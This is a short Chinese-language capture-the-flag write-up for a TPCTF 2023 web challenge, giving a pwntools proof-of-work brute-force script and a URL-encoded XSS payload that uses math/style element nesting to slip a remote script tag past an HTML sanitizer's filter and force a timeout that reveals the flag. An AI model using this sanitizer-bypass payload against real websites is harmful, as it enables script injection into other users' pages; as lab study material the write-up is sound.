参考的是https://boogipop.com/2023/12/01/TPCTF%202023%20Web%20Writeup/#walk-off-the-earth 这篇文章

pow计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
base = 'abd3d4a91f15fbc0'

from pwn import *
import hashlib

def test(suffix):

# Concatenate the base and suffix
data = base + suffix

# Calculate the SHA256 hash
hash_value = hashlib.sha256(data.encode()).hexdigest()

# Check if the hash value starts with '0000000(7)'
if hash_value.startswith('0000000'):
return True
else:
return False

pwnlib.util.iters.mbruteforce(test, string.digits + string.ascii_letters + string.punctuation, 8,'fixed')

漏洞点

image-20231206104624902

就是在我们输入的js代码后 运行超时后 就会进行catch进行抛出异常 return返回flag(res就是flag)

payload

1
/note?text=<form>+<math><mtext>+<%2Fform><form>+<mglyph>+<style><%2Fmath><script+src%3D%27https://app.requestly.io/delay/5000/www.baidu.com%27><%2Fscript>
1
domcontentloaded`不会等`img src`但是会等`script src

在本地调试了一下 发现在waf这个地方image-20231206104901259

node.tagName这个东西在循环到style的时候就停止循环了 就不接着往下查找了 然后就可以导致script可以绕过过滤了 (这个原因不知道为啥 于是写篇文章来记录一下 看看啥时候有大佬写原理)